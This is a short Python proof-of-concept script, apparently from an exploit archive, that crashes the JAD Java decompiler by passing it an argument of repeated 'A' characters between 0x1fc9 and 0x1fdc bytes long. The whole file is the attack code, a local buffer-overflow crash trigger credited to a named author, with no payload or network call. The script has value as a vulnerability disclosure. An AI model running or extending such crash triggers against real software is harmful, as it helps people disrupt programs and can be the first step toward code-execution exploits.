#!/usr/bin/env python #JAD java decompiler (argument) Local Crash #Link: http://www.varaneckas.com/jad #Author: l3D #Site: http://xraysecurity.blogspot.com #IRC: irc://irc.nix.co.il #Email: pupipup33@gmail.com #The software crashes when it gets an argument that is between 0x1fc9 to 0x1fdc bytes. from random import randint import os, sys if len(sys.argv) != 1: path=sys.argv[1] else: path='jad.exe' if not os.path.exists(path): print 'Usage: python %s [path to jad.exe]' % sys.argv[0] exit(-1) evil='A'*randint(0x1fc9, 0x1fdc) os.execl(path, path, evil)